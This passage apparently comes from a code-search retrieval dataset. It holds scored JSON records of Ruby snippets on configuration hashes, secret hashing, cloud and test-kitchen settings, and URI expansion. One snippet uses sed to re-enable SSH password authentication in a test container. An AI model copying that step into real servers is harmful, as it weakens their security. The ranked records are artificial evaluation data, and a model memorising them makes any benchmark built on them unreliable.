else\n raise(\"No plugin.psk configuration option specified\") unless @config.pluginconf.include?(\"psk\")\n psk = @config.pluginconf[\"psk\"]\n end\n \n Digest::MD5.hexdigest(body.to_s + psk)\n end", "title": "" }, { "docid": "e0b1086da2e7c30725ab972cb42fcdbb", "score": "0.48821455", "text": "def configure_secrets_hashing\n if perform_secret_hashing? && bcrypt_present?\n use_bcrypt_for_hashing\n else\n self.secret_comparer = nil\n self.secret_hash_function = nil\n end\n end", "title": "" }, { "docid": "f8ab01adeb9873dc98e0f05a80cf8c72", "score": "0.48794416", "text": "def to_hash\n configuration\n end", "title": "" }, { "docid": "ca3946ec94999fb4f33944d0a2beba66", "score": "0.48749503", "text": "def create_config\n self.config = {} if !self.config\n end", "title": "" }, { "docid": "ca3946ec94999fb4f33944d0a2beba66", "score": "0.48749503", "text": "def create_config\n self.config = {} if !self.config\n end", "title": "" }, { "docid": "9a09de83dda5de74a55024e264b76540", "score": "0.48682386", "text": "def to_hash\n config = { database: database, hosts: hosts }\n if username && password\n config.merge!(username: username, password: password)\n end\n config\n end", "title": "" }, { "docid": "6be88f8fdb4bbefffbacfa0d68c0929a", "score": "0.48437962", "text": "def initialize( confighash={} )\n\t\tihash = internify_keys( untaint_values(confighash) )\n\t\tmergedhash = DEFAULTS.merge( ihash, &HashMergeFunction )\n\n\t\t@struct = ConfigStruct.new( mergedhash )\n\t\t@create_time = Time.now\n\t\t@name = nil\n\t\t@loader = nil\n\n\t\tsuper()\n\tend", "title": "" }, { "docid": "8c26c3fdd1449bf6efbfe4cc2595172e", "score": "0.48384538", "text": "def config\n config = {}\n config['recipes'] = []\n config['recipes'] |= hash_path(@default_config, 'recipes', 'global') || []\n config['recipes'] |= hash_path(@default_config, 'recipes', @platform) || []\n @group_configs.each do |group_name, group_config|\n config['recipes'] |= hash_path(group_config, 'recipes', 'global') || []\n config['recipes'] |= hash_path(group_config, 'recipes', @platform) || []\n end\n people_recipes = @people_config['recipes'] || {}\n config['recipes'] |= people_recipes['global'] || []\n config['recipes'] |= people_recipes[@platform] || []\n config['attributes'] = {}\n config['attributes'].deep_merge!(@default_config['attributes'] || {}) { |key, old, new| Array.wrap(old) + Array.wrap(new) }\n @group_configs.each do |group_name, group_config|\n config['attributes'].deep_merge!(group_config['attributes']) { |key, old, new| Array.wrap(old) + Array.wrap(new) } unless group_config['attributes'].nil?\n end\n people_attributes = @people_config['attributes'] || {}\n config['attributes'].deep_merge!(people_attributes) { |key, old, new| Array.wrap(old) + Array.wrap(new) }\n config\n end", "title": "" }, { "docid": "d785224ed3012134f859197d6408c475", "score": "0.48320892", "text": "def ensure_hash(object)\n hash = if (config_file = get_config_file(object)).nil?\n object\n else\n YAML.load_file(config_file)\n end\n deep_freeze_config(hash) unless hash.nil?\n end", "title": "" }, { "docid": "c12b60eef32f5577777b39af88c75e20", "score": "0.4831451", "text": "def to_aws\n {\n id: @name,\n prefix: @prefix,\n status: \"Enabled\",\n transition: if @days_until_glacier then {\n days: @days_until_glacier,\n storage_class: \"GLACIER\"\n } end,\n expiration: if @days_until_delete then {\n days: @days_until_delete\n } end,\n noncurrent_version_transition: if @past_days_until_glacier then {\n noncurrent_days: @past_days_until_glacier,\n storage_class: \"GLACIER\"\n } end,\n noncurrent_version_expiration: if @past_days_until_delete then {\n noncurrent_days: @past_days_until_delete\n } end\n }.reject { |k, v| v.nil? }\n end", "title": "" }, { "docid": "06b5cd54f3018b099d0e37cfdec86c18", "score": "0.48294294", "text": "def set_encryption_attributes\n @sorcery_config.encryption_provider.stretches = @sorcery_config.stretches if @sorcery_config.encryption_provider.respond_to?(:stretches) && @sorcery_config.stretches\n @sorcery_config.encryption_provider.join_token = @sorcery_config.salt_join_token if @sorcery_config.encryption_provider.respond_to?(:join_token) && @sorcery_config.salt_join_token\n @sorcery_config.encryption_provider.pepper = @sorcery_config.pepper if @sorcery_config.encryption_provider.respond_to?(:pepper) && @sorcery_config.pepper\n end", "title": "" }, { "docid": "5bfd72a7c42c955b42935cd14e45dfa5", "score": "0.48266357", "text": "def test_Hash_InstanceMethods_try_convert\n\t\tconfig = ConfigFile.new(\"./tfile/filename\")\n\t\tassert_equal(nil, Hash.try_convert(config)[\"user_name\"])\n\t\tassert_equal(nil, Hash.try_convert(config)[\"password\"])\n\tend", "title": "" }, { "docid": "c98b57cdd952e2d81f197ff9874629a6", "score": "0.48249823", "text": "def add_secure_hash\n # Per MIGS requirements we must stringify, sort fields alphabetically\n # minus the 'vpc_' prefix, add back the 'vpc_' prefix after sorting,\n # then join all fields as a query string separated by '&'.\n sorted_values = @fields.stringify_keys\n .map { |(k, v)| [k.gsub('vpc_', ''), v] }\n .sort\n .map { |i| \"vpc_#{i[0]}=#{i[1]}\" }\n .join('&')\n hash = OpenSSL::HMAC.hexdigest(HASH_ALGORITHM, [@secret].pack('H*'), sorted_values).upcase\n add_field('vpc_SecureHash', hash)\n add_field('vpc_SecureHashType', 'SHA256')\n end", "title": "" }, { "docid": "35f7087bef0fb4451ac4bb5cf7a6661e", "score": "0.48247975", "text": "def to_hash\n config = { database: database, hosts: hosts }\n if username && password\n config.merge!(username: username, password: password)\n end\n config\n end", "title": "" }, { "docid": "97c8a0fc4f34fd1708306fdc3af80ec9", "score": "0.4817718", "text": "def config c\n c.each do |key, value|\n case key\n when :pspid\n @pspid = value\n when :sha_in\n @sha_in = value\n when :sha_out\n @sha_out = value\n when :currency\n @currency = value unless value.nil?\n when :language\n @language = value unless value.nil?\n when :mode\n @mode = value unless value.nil?\n when :encoding\n @encoding = value unless value.nil?\n end\n end\n end", "title": "" }, { "docid": "f9412667b2e9edc4735e1a5a16240634", "score": "0.48134294", "text": "def config_to_hash\n data = {}\n Pkg::Params::BUILD_PARAMS.each do |param|\n data.store(param, self.instance_variable_get(\"@#{param}\"))\n end\n data.store(:platform_data, platform_data)\n data\n end", "title": "" }, { "docid": "2819dbb4717451b02e490a941d731706", "score": "0.4808374", "text": "def to_aws(include_min_max_desired)\n {\n auto_scaling_group_name: @name,\n min_size: if include_min_max_desired then @min end,\n max_size: if include_min_max_desired then @max end,\n desired_capacity: if include_min_max_desired then @desired end,\n default_cooldown: @cooldown,\n health_check_type: @check_type,\n health_check_grace_period: @check_grace,\n vpc_zone_identifier: if !@subnets.empty? then subnets_to_aws.map(&:subnet_id).join(\",\") end,\n termination_policies: @termination,\n launch_configuration_name: @launch\n }\n end", "title": "" }, { "docid": "fdfc7305cd92f513cb59307c438fa858", "score": "0.4805235", "text": "def product_configuration_params\n params.require(:product_configuration).permit(:color, :size, :cogs, :product_id, :sku, :image_url)\n end", "title": "" }, { "docid": "52f2e12701170002c92d5b8646b34502", "score": "0.4801016", "text": "def create_tps_hash(data, hash_type)\n return \"SECRET KEY NOT PROVIDED\" if !defined? @SECRET_KEY\n case hash_type \n when 'HMAC_SHA256'\n OpenSSL::HMAC.hexdigest('sha256', @SECRET_KEY, data)\n when 'SHA512'\n Digest::SHA512.hexdigest(@SECRET_KEY + data)\n when 'SHA256'\n Digest::SHA256.hexdigest(@SECRET_KEY + data)\n when 'MD5'\n Digest::MD5.hexdigest(@SECRET_KEY + data)\n else\n OpenSSL::HMAC.hexdigest('sha512', @SECRET_KEY, data)\n end\n end", "title": "" }, { "docid": "9e230457d24231f856474387c085fd60", "score": "0.47947192", "text": "def munge_config\n @data = @config.send(:data).instance_variable_get(:@data)\n @data[:driver][:instance_name] = @image.id\n suite = @data[:suites].find{ |n| n[:name] == @image.name }\n if suite && suite[:inherit]\n inherited = Linecook::Image.new(suite[:inherit][:name], suite[:inherit][:group], suite[:inherit][:tag])\n inherit(inherited)\n @data[:driver][:image] = \"#{inherited.group}:#{inherited.tag}\"\n @data[:driver][:provision_command] ||= []\n @data[:driver][:provision_command] << 'sed -i \\'s/\\(PasswordAuthentication no\\)/#\\1/g\\' /etc/ssh/sshd_config'\n end\n end", "title": "" }, { "docid": "cad526517403b688b6ad79cbb4205511", "score": "0.47915107", "text": "def calculate_hash!\n entry_hash = to_hash\n entry_hash['description']=nil\n @hash = entry_hash.hash\n end", "title": "" }, { "docid": "5fd2ab9ec882c6e48a44e3296a221068", "score": "0.47828922", "text": "def to_h\n res = {\n email: email,\n api_key: api_key,\n org_id: org_id,\n mkp_name: mkp_name,\n version: version,\n assemblyname: assemblyname,\n componentname: componentname,\n domain: domain,\n region: region,\n resource: resource,\n storage_hddtype: storage_hddtype,\n oneclick: oneclick,\n ipv4private: ipv4private,\n ipv4public: ipv4public,\n ipv6private: ipv6private,\n ipv6public: ipv6public,\n sshkey: keypairname,\n keypairoption: keypairoption,\n cattype: cattype,\n cpu: @flavor.cpu,\n ram: @flavor.ram,\n hdd: @flavor.hdd,\n options: options,\n envs: envs,\n provider: provider\n }\n\n set_git(res)\n res\n end", "title": "" }, { "docid": "7801b4f7a4b442aebbbceca28de6d6ae", "score": "0.47798625", "text": "def filter_config(config)\n config\n end", "title": "" }, { "docid": "deb7faf6c4806db7713e4d1b547d2b3b", "score": "0.47776023", "text": "def get_hash()\n\t\t\treturn @config.clone()\n\t\tend", "title": "" }, { "docid": "d208559a3d2a42a25751b5b807609bc8", "score": "0.47775862", "text": "def creation_params(raw:, activation_date:, metadata:)\n {\n private: raw.secret_key_present? ? raw.export_secret : nil,\n public: raw.public_key_present? ? raw.export_public : nil,\n activation_date: activation_date,\n metadata: metadata,\n primary_key_grip: metadata[\"primary key grip\"],\n grip: metadata[\"grip\"],\n fingerprint: metadata[\"fingerprint\"],\n }.reject { |_k, v| v.nil? }\n end", "title": "" }, { "docid": "4e5a375ea0167f84e50fce8d809a0c09", "score": "0.47738394", "text": "def type_to_form_ready_hash_site\n {\n username: resource[:username],\n password: resource[:password],\n configStoreConnection: JSON.generate(type_to_form_ready_hash_configstore),\n settings: JSON.generate(type_to_form_ready_hash_logsettings),\n runAsync: false,\n }\n end", "title": "" }, { "docid": "9efb61e4ef1f1119f76b8f9fcd8c8bb8", "score": "0.47661796", "text": "def secrets_hash\n { \"veil\" => to_h }.merge(legacy_credentials_hash)\n end", "title": "" }, { "docid": "6d31220f76fae5d1609da7e8c789e7b4", "score": "0.4761998", "text": "def peer_hash_defaults(phash)\n\t\t\tdata = phash.dup\n\t\t\tdata[:port] ||= 3333 # @todo Network;:DEFAULT_PORT\n\t\t\tdata[:name] ||= \"SwarmNode_#{data[:uuid]}\"\n\t\t\tdata[:hive_version] ||= hive_version\n\t\t\tdata[:handler] ||= handler_type\n\t\t\tdata[:protocol] ||= protocol_type\n\t\t\tdata[:ssl] ||= 1\n\t\t\tdata[:peers] ||= []\n\t\t\tif data[:peers].is_a?(Array)\n\t\t\t\tdata[:peers] = data[:peers].join(',')\n\t\t\tend\n#\t\t\tdata[:created_at] ||= DateTime.now.to_s\n#\t\t\tdata[:updated_at] ||= DateTime.now.to_s\n\t\t\tdata\n\t\tend", "title": "" }, { "docid": "a02a10381dc2af4c526f1b430063e303", "score": "0.47540998", "text": "def build_config\n return unless build?\n build_config_terraform\n end", "title": "" }, { "docid": "141b164a38db87277ceba7b4c4eb3a82", "score": "0.47533864", "text": "def instance_to_hash\n billing_address = {}\n billing_address[:street_address] = street_address\n billing_address[:street_address_2] = street_address_2\n billing_address[:city] = city\n billing_address[:state] = state\n billing_address[:country] = country\n billing_address[:zip] = zip\n billing_address\n end", "title": "" }, { "docid": "2eaab3b63e02d0b5161ba38d2328bbd9", "score": "0.47466418", "text": "def bridgepay_config\n Hash(\n username: ::BridgePay.username,\n password: ::BridgePay.password,\n merchant_code: ::BridgePay.code,\n merchant_account: ::BridgePay.account\n ) \n end", "title": "" }, { "docid": "3ab766cc38f1be24e9faacdf0e36a538", "score": "0.47439316", "text": "def initialize(name, json = nil)\n @name = name\n if !json.nil?\n @ebs_optimized = json[\"ebs-optimized\"] || false\n @placement_group = json[\"placement-group\"]\n @profile = json[\"profile\"]\n @image = json[\"image\"]\n @key_name = json[\"key-name\"]\n @monitoring = json[\"monitoring\"] || false\n @network_interfaces = json[\"network-interfaces\"] || 0\n @source_dest_check = json[\"source-dest-check\"]\n @private_ip_address = json[\"private-ip-address\"]\n @security_groups = json[\"security-groups\"] || []\n @subnet = json[\"subnet\"]\n @tenancy = json[\"tenancy\"] || \"default\"\n @type = json[\"type\"]\n @user_data = json[\"user-data\"]\n @volume_groups = json[\"volume-groups\"] || []\n @tags = json[\"tags\"] || {}\n end\n end", "title": "" }, { "docid": "464e48751398e0a74d7ab143f9a1dd80", "score": "0.47417003", "text": "def configuration_params\n params.require(:configuration).permit(:name, :algorithm_id, :parameters)\n end", "title": "" }, { "docid": "eb95bc859dcf9b746e3db379823105ba", "score": "0.4740691", "text": "def init\n create_file options[:inventory_config] do\n<<-YML\n# sources:\n# - \"https://supermarket.getchef.com\"\n# cookbooks:\n# cookbook-name:\n# versions:\n# - \"~> 4.0.2\"\n# - \"> 5.0.0\"\n# git:\n# location: url | path\n# branches:\n# - a_branch_name\n# refs:\n# - SHA\n\nYML\n end\n end", "title": "" }, { "docid": "d85182c91d567f2359787c1b2144d696", "score": "0.47378376", "text": "def type_to_form_ready_hash_configstore\n {\n type: resource[:configstoretype],\n connectionString: resource[:configdir],\n move: true,\n runAsync: false,\n }\n end", "title": "" }, { "docid": "5490167e717b4c079d35d5120fa8f6b3", "score": "0.47370985", "text": "def build_givenhash(data)\n givenhash = {}\n unless data[:moduleoptions].nil?\n data[:moduleoptions].each do |key, value|\n givenhash[key.to_s] = value.to_s.tr(\"\\n\", ' ').strip\n end\n end\n givenhash\n end", "title": "" }, { "docid": "572dfbb46c818145f3b3e0cdf6ce580a", "score": "0.47260433", "text": "def driver_config\n # Default config for all drivers. {#chef_version} returns nil for \"any\n # version\" so use true to prevent reinstall attempts.\n config = {'name' => kitchen_driver, 'require_chef_omnibus' => chef_version || true}\n case kitchen_driver\n when 'docker'\n # Docker-specific configuration.\n config.update(\n # Custom Dockerfile.\n 'dockerfile' => File.expand_path('../kitchen/Dockerfile.erb', __FILE__),\n # No password for securiteeeee.\n 'password' => nil,\n # Our docker settings.\n 'binary' => (ENV['TRAVIS'] == 'true' ? './' : '') + 'docker',\n 'socket' => 'tcp://docker.poise.io:443',\n 'tls_verify' => 'true',\n 'tls_cacert' => 'test/docker/docker.ca',\n 'tls_cert' => 'test/docker/docker.pem',\n 'tls_key' => 'test/docker/docker.key',\n )\n when 'rackspace'\n # Set a default instance size.\n config['flavor_id'] = options[:rackspace_flavor] || 'general1-1'\n when 'ec2'\n config.update(ec2_driver_config)\n end\n config\n end", "title": "" }, { "docid": "d5306edd89ef8ac09772c38f7cef4901", "score": "0.47223267", "text": "def setup_config(config=nil, &block)\n @config = config || ConfigStruct.block_to_hash(block)\n end", "title": "" }, { "docid": "02bcf0f271a7fa2a0149e6fccf887546", "score": "0.47096363", "text": "def handle_oai_config_params(params)\n repo_set_codes_hash = params[\"repo_set_codes\"]\n oai_config_hash = params[\"oai_config\"]\n\n if repo_set_codes_hash\n oai_config_hash['repo_set_codes'] = params[\"repo_set_codes\"].keys.to_json\n else\n oai_config_hash['repo_set_codes'] = \"[]\"\n end\n\n # The sponsor set name param looks like:\n # \"Sponsor 1,Sponsor 2\"\n # Turn into a serialized array for DB\n if oai_config_hash['sponsor_set_names']\n oai_config_hash['sponsor_set_names'] = oai_config_hash['sponsor_set_names'].split(\"|\").to_json\n else\n oai_config_hash['sponsor_set_names'] = \"[]\"\n end\n end", "title": "" }, { "docid": "8182f648793d8f1e3d8849cc78b64d43", "score": "0.46965966", "text": "def generate_chef_config()\n Kitchenplan::Log.debug \"Truncating kitchenplan-attributes.json ...\"\n File.open(\"kitchenplan-attributes.json\", 'w') do |out|\n\tout.write(::JSON.pretty_generate(self.config['attributes']))\n end\n Kitchenplan::Log.debug \"Truncating solo.rb ...\"\n File.open(\"solo.rb\", 'w') do |out|\n\tout.write(\"cookbook_path [ \\\"#{Dir.pwd}/cookbooks\\\" ]\")\n end\n Kitchenplan::Log.debug \"Done writing Chef configs.\"\n end", "title": "" }, { "docid": "4ab41920335ce2c94908e867f332bf2f", "score": "0.4692334", "text": "def configure_instance(aws_node, private_ip_address, node_name, node_config)\n # Spin up EC2 instances\n aws_node.vm.provider :aws do |ec2, override|\n ec2.keypair_name = KEYPAIR_NAME\n ec2.access_key_id = ACCESS_KEY_ID\n ec2.secret_access_key = SECRET_ACCESS_KEY\n ec2.security_groups = SECURITY_GROUPS\n override.ssh.private_key_path = PRIVATE_KEY_PATH\n\n # read region, ami etc from json.\n ec2.region = AWS_CFG['region']\n ec2.subnet_id = AWS_CFG['subnet_id']\n ec2.availability_zone = AWS_CFG['region'] + AWS_CFG['availability_zone']\n ec2.ami = node_config['ami_id']\n ec2.instance_type = node_config['instance_type']\n ec2.private_ip_address = private_ip_address\n ec2.associate_public_ip = true\n\n if node_config.key?('volume_size')\n # Size in GB\n # (untested)\n ec2.block_device_mapping = [{ 'DeviceName' => '/dev/sda1', 'Ebs.VolumeSize' => node_config['volume_size'] }]\n end\n\n override.ssh.username = AWS_CFG['ssh_username']\n\n # Collect tags (can't be longer than 250 chars)\n ec2.tags = ({})\n ec2.tags['Name'] = node_name[0..245]\n ec2.tags['Type'] = 'Hyperledger'\n ec2.tags['Version'] = VERSION\n ec2.tags['Fabric'] = node_config['fabric'].map { |f| f['role'] }.join(',')[0..245]\n end\nend", "title": "" }, { "docid": "8dcb524829a324c5d1002e27d59d61f6", "score": "0.4679422", "text": "def initialize(config=nil)\n @config = Util.to_hash(config)\n end", "title": "" }, { "docid": "3324e74e8e1382cfabd482a2e53606bd", "score": "0.4674374", "text": "def stripe_config_params\n params.require(:stripe_config).permit(:publishable_key, :secret_key, :alias_name, :payment_gateway_id, :merchant_id, :country_id, :tax_amount)\n end", "title": "" }, { "docid": "56ce2345415a12ddc2fe4fdd19eb6b51", "score": "0.46676093", "text": "def to_hash\n {\n type: self.class.name,\n secret: secret,\n salt: salt,\n iterations: iterations,\n hash_function: hash_function.class.name\n }\n end", "title": "" }, { "docid": "47a0a80fab70c123df3aa422dfe32710", "score": "0.46568814", "text": "def quote_hash h\n quote_string h.to_yaml\n end", "title": "" }, { "docid": "0be2337372be64a7585f8e1886ead16b", "score": "0.4654414", "text": "def ingest_configuration_block!(hash, &block)\n hash.each do |k, v|\n value = if v.is_a?(Hash)\n ingest_configuration_block!(v, &block)\n else\n zip_to_hash(block, *Array(v))\n end\n\n hash.merge! k => value\n end\n end", "title": "" }, { "docid": "3f26963bc4548756778e800894014643", "score": "0.46528634", "text": "def create_hashes\n cloud Mash.new\n cloud[:public_ip] = Hash.new\n cloud[:private_ip] = Hash.new\nend", "title": "" }, { "docid": "aa56ab65b2bc1400782b40d91a76c440", "score": "0.46524438", "text": "def save_and_validate_parameters\n # Configure the hash for use when connecting for cloning a machine\n @connection_options = {\n user: config[:vcenter_username],\n password: config[:vcenter_password],\n insecure: config[:vcenter_disable_ssl_verify] ? true : false,\n host: config[:vcenter_host],\n rev: config[:clone_type] == \"instant\" ? \"6.7\" : nil,\n }\n\n # If the vm_name has not been set then set it now based on the suite, platform and a random number\n if config[:vm_name].nil?\n config[:vm_name] = format(\"%s-%s-%s\", instance.suite.name, instance.platform.name, SecureRandom.hex(4))\n end\n\n raise format(\"Cannot specify both cluster and resource_pool\") if !config[:cluster].nil? && !config[:resource_pool].nil?\n end", "title": "" }, { "docid": "74669d644442d9fc00b29e97a18f28e9", "score": "0.46506298", "text": "def conf\n return @validated_config if defined? @validated_config\n\n if !config[:playbook]\n raise 'No playbook defined. Please specify one in .kitchen.yml'\n end\n\n if !File.exist?(config[:playbook])\n raise \"playbook '%s' could not be found. Please check path\" % config[:playbook]\n end\n\n if config[:vault_password_file] and !File.exist?(config[:vault_password_file])\n raise \"Vault password '%s' could not be found. Please check path\" % config[:vault_password_file]\n end\n\n # Validate that extra_vars is either a hash, or a path to an existing file\n if config[:extra_vars]\n extra_vars_is_valid = config[:extra_vars].kind_of?(Hash) || config[:extra_vars].kind_of?(String)\n if config[:extra_vars].kind_of?(String)\n # Accept the usage of '@' (e.g. '@vars.yml' and 'vars.yml' are both supported)\n match_data = /^@?(.+)$/.match(config[:extra_vars])\n extra_vars_path = match_data[1].to_s\n expanded_path = Pathname.new(extra_vars_path).expand_path(Dir.pwd)\n extra_vars_is_valid = expanded_path.exist?\n if extra_vars_is_valid\n @extra_vars = '@' + extra_vars_path\n end\n end\n if !extra_vars_is_valid\n raise \"ansible extra_vars is in valid type: %s value: %s\" % [config[:extra_vars].class.to_s, config[:extra_vars].to_s]\n end\n end\n \n info(\"Ansible push config validated\")\n \n @validated_config = config\n end", "title": "" }, { "docid": "7211741856304cdea12e9c54155d91be", "score": "0.46390444", "text": "def build_vendors_hash(vendors_raw)\r\n\thash_map = Hash.new\r\n\r\n\tvendors_raw.each do |vendor|\r\n\t\tif(vendor['attributes']['bitsight_guid'] != nil)\r\n\t \thash_map[vendor['attributes']['bitsight_guid']] = vendor\r\n\t\tend\r\n\tend\r\n\thash_map\r\nend", "title": "" }, { "docid": "4887d4b6906898d849ed1bc3241dec15", "score": "0.4635199", "text": "def event_hash(e)\n timber_hash = {\"$schema\" => JSON_SCHEMA}\n event_hash = e.to_hash\n\n # Delete unused logstash specific attributes\n event_hash.delete(\"@version\")\n\n # Map the timber key first since we merge in values\n # later.\n timber = event_hash.delete(\"timber\")\n if timber.is_a?(Hash)\n timber_hash.merge!(timber)\n end\n\n # Map the timestamp\n timestamp = event_hash.delete(\"@timestamp\")\n\n if timestamp\n timber_hash[\"dt\"] ||= timestamp.utc.to_iso8601\n end\n\n # Map the host\n host = event_hash.delete(\"host\")\n\n if host\n timber_hash[\"context\"] ||= {}\n timber_hash[\"context\"][\"system\"] ||= {}\n timber_hash[\"context\"][\"system\"][\"hostname\"] ||= host\n end\n\n # Map the message\n message = event_hash.delete(\"message\")\n\n if message\n timber_hash[\"message\"] ||= message\n end\n\n # Move everything else to meta, merging to preseve previous meta values.\n if event_hash != {}\n timber_hash[\"meta\"] ||= {}\n timber_hash[\"meta\"].merge!(event_hash)\n end\n\n timber_hash\n end", "title": "" }, { "docid": "b26179ec631934797d140d8b21f211fe", "score": "0.46334875", "text": "def active_merchant_hash\n {\n name: full_name,\n address1: address1,\n address2: address2,\n city: city,\n state: state_text,\n zip: zipcode,\n country: country.try(:iso),\n phone: phone\n }\n end", "title": "" }, { "docid": "3b8a1917e19d647a553a4ca3b477dd72", "score": "0.46285143", "text": "def configure\n if @opts[:docker]\n Souschef::Print.info 'Creating Docker configuration .kitchen.local.yml'\n write(:docker, Souschef::Testkitchen::Docker.new(@cookbook).yaml)\n end\n if @opts[:solusvm]\n Souschef::Print.info 'Creating SolusVM configuraton .kitchen.local.yml'\n write(:solusvm, Souschef::Testkitchen::Solusvm.new(@cookbook).yaml)\n end\n\n Souschef::Print.info 'Creating Vagrant configuration in .kitchen.yml'\n write(:virtualbox, Souschef::Testkitchen::Virtualbox.new(@cookbook).yaml)\n end", "title": "" }, { "docid": "15a236b082dd9cba10499fa4dd0e262f", "score": "0.4626972", "text": "def validate_env\n validate_keys :coinbase_key, :coinbase_address, :coinbase_secret\n end", "title": "" }, { "docid": "e4226d88fcda10cf651234b27af70e22", "score": "0.46266758", "text": "def extra\n ret = {}\n\n reject = ['cluster',\n 'datastores',\n 'defaults',\n 'extends',\n 'flowtemplates',\n 'hosts',\n 'images',\n 'inputs',\n 'marketplaceapps',\n 'name',\n 'networks',\n 'playbook',\n 'templates',\n 'vntemplates',\n 'name',\n 'description',\n 'state',\n 'provider',\n 'provision',\n 'start_time']\n\n @config.each do |key, value|\n next if reject.include?(key)\n\n ret[key] = value\n end\n\n ret\n end", "title": "" }, { "docid": "a8bff0a48fa49ac341f1d8b3cdd7af6c", "score": "0.46248245", "text": "def set_secret_hash(opts = {})\n unless ['md5', 'sha512', nil].include?(opts[:value])\n raise ArgumentError, 'secret hash must be md5 or sha512'\n end\n cmd = command_builder(\"secret hash #{opts[:value]}\")\n cmds = ['management defaults', cmd]\n configure(cmds)\n end", "title": "" }, { "docid": "3db7ad66688688afa7161b4b2805a17e", "score": "0.46150118", "text": "def config_from_hash(data = {})\n data.each do |param, value|\n if Pkg::Params::BUILD_PARAMS.include?(param.to_sym)\n self.instance_variable_set(\"@#{param}\", value)\n else\n warn \"Warning - No build data parameter found for '#{param}'. Perhaps you have an erroneous entry in your yaml file?\"\n end\n end\n end", "title": "" } ]
34e50f629d6689a72cbcda90ac9528fe
Tries to expand a generic URI value that is either given as a full URL or a namespace:name value. This will assume a full URL if it finds a ":/" string inside the URI. Otherwise it will construct a namespace name URI
[ { "docid": "beb659114798ee7dccb95cf9b523849c", "score": "0.72756404", "text": "def expand_uri(uri) # TODO: Merge with uri_for ?\n assit_block do |errors| \n unless(uri.respond_to?(:uri) || uri.kind_of?(String)) || uri.kind_of?(Symbol)\n errors << \"Found strange object of type #{uri.class}\"\n end\n true\n end\n uri = uri.respond_to?(:uri) ? uri.uri.to_s : uri.to_s\n return uri if(uri.include?(':/'))\n N::URI.make_uri(uri).to_s\n end", "title": "" } ]
[ { "docid": "f7409922e3cff09a6c46aa84eccc1fd5", "score": "0.6151195", "text": "def url_formater\r\n if $uri.instance_of?(URI::Generic)\r\n $uri = URI::HTTP.build({:host => $uri.to_s}) \r\n end\r\nend", "title": "" }, { "docid": "fb8dde58126c3a8e0962c44aae2a6e98", "score": "0.61387515", "text": "def join_uri(scheme, userinfo, host, port, registry, path, opaque, query, fragment)\n URI::Generic.new(scheme, userinfo, host, port, registry, path, opaque, query, fragment).to_s\n end", "title": "" }, { "docid": "a5e0e82340a1426a4e6824f864a5a2f0", "score": "0.5789304", "text": "def build_uri(uri); end", "title": "" }, { "docid": "9bac4a9af303e779847bba9695906c70", "score": "0.57708484", "text": "def uri_object\n uri && URI::Generic.build(:path => uri)\n end", "title": "" }, { "docid": "abd4aa800656702837b5044162e00609", "score": "0.5728646", "text": "def join_uri(scheme, userinfo, host, port, registry, path, opaque, query, fragment); end", "title": "" }, { "docid": "abd4aa800656702837b5044162e00609", "score": "0.5728646", "text": "def join_uri(scheme, userinfo, host, port, registry, path, opaque, query, fragment); end", "title": "" }, { "docid": "7c8d358e0fbf069b296719f8af2cf02c", "score": "0.5655727", "text": "def uri(value, base = nil)\n value = if base\n base = uri(base) unless base.is_a?(RDF::URI)\n base.join(value.to_s)\n else\n RDF::URI(value.to_s)\n end\n value.validate! if validate?\n value.canonicalize! if canonicalize?\n value = RDF::URI.intern(value) if intern?\n value\n end", "title": "" }, { "docid": "2a5590f5525c77d21a7e25b4294ee6f1", "score": "0.56224436", "text": "def full_uri(custom_uri = nil, vhost_uri: false)\n uri_scheme = ssl ? 'https' : 'http'\n\n if (rport == 80 && !ssl) || (rport == 443 && ssl)\n uri_port = ''\n else\n uri_port = \":#{rport}\"\n end\n\n uri = normalize_uri(custom_uri || target_uri.to_s)\n\n if vhost_uri && datastore['VHOST']\n uri_host = datastore['VHOST']\n elsif Rex::Socket.is_ipv6?(rhost)\n uri_host = \"[#{rhost}]\"\n else\n uri_host = rhost\n end\n\n \"#{uri_scheme}://#{uri_host}#{uri_port}#{uri}\"\n end", "title": "" }, { "docid": "d44df94ccff45d7059266660d4cae431", "score": "0.56020314", "text": "def resolve_uri(template, mapping={})\n @base_uri ||= Addressable::URI.new(\n :scheme => 'https',\n :host => self.host,\n :port => self.port\n ).normalize\n template = if template.kind_of?(Addressable::Template)\n template.pattern\n elsif template.respond_to?(:to_str)\n template.to_str\n else\n raise TypeError,\n \"Expected String, Addressable::URI, or Addressable::Template, \" +\n \"got #{template.class}.\"\n end\n return Addressable::Template.new(@base_uri + template).expand(mapping)\n end", "title": "" }, { "docid": "6d3a4ca3f6a9ebebe3e80045670df0dd", "score": "0.5586525", "text": "def expand_url(url, path)\n if url.blank? || url.start_with?('http', '/')\n return url\n else\n return path + url\n end\n end", "title": "" }, { "docid": "ac3bb30af861648683cabee33dac4553", "score": "0.55810374", "text": "def expand_url(url, params)\n params ||= {}\n template = url.respond_to?(:expand) ? url : Addressable::Template.new(url)\n if template.variables.empty? && !params.empty?\n # the URI isn't templated so just append the query parameters\n non_templated_url = Addressable::URI.parse(url)\n existing_query_values = non_templated_url.query_values(Hash) || {}\n non_templated_url.query_values = existing_query_values.merge(params)\n return non_templated_url.to_s\n end\n\n template.expand(params || {}).to_s\n end", "title": "" }, { "docid": "fbe45ba25a0f06dedd06abb23f713172", "score": "0.55638593", "text": "def full_uri\n protocol + \"://\" + host + uri\n end", "title": "" }, { "docid": "cc109d4deb9d4cc3e86f975c869392d1", "score": "0.5552356", "text": "def full_url hostname, extra_query_params={}\n host, port = hostname.split(':', 2)\n u = Addressable::URI.new(:host => host, :port => port, :path => self.path, :scheme => 'http')\n u.query_values = query_hash(extra_query_params)\n u\n end", "title": "" }, { "docid": "047931e88e5a104f967d535b0a2ae476", "score": "0.55345255", "text": "def normalize_uri=(_arg0); end", "title": "" }, { "docid": "9344809367caba6c3089dc0022cc48ab", "score": "0.55313635", "text": "def add_http_prefix\n return if self.blank?\n _uri = self.to_uri\n return self if _uri.nil? || _uri.is_a?(URI::FTP) || _uri.is_a?(URI::HTTP) || _uri.is_a?(URI::HTTPS) || _uri.is_a?(URI::LDAP) || _uri.is_a?(URI::MailTo)\n \"http://#{self}\"\n end", "title": "" }, { "docid": "9344809367caba6c3089dc0022cc48ab", "score": "0.55313635", "text": "def add_http_prefix\n return if self.blank?\n _uri = self.to_uri\n return self if _uri.nil? || _uri.is_a?(URI::FTP) || _uri.is_a?(URI::HTTP) || _uri.is_a?(URI::HTTPS) || _uri.is_a?(URI::LDAP) || _uri.is_a?(URI::MailTo)\n \"http://#{self}\"\n end", "title": "" }, { "docid": "1a9971d8e144d4144bf22b158eefb818", 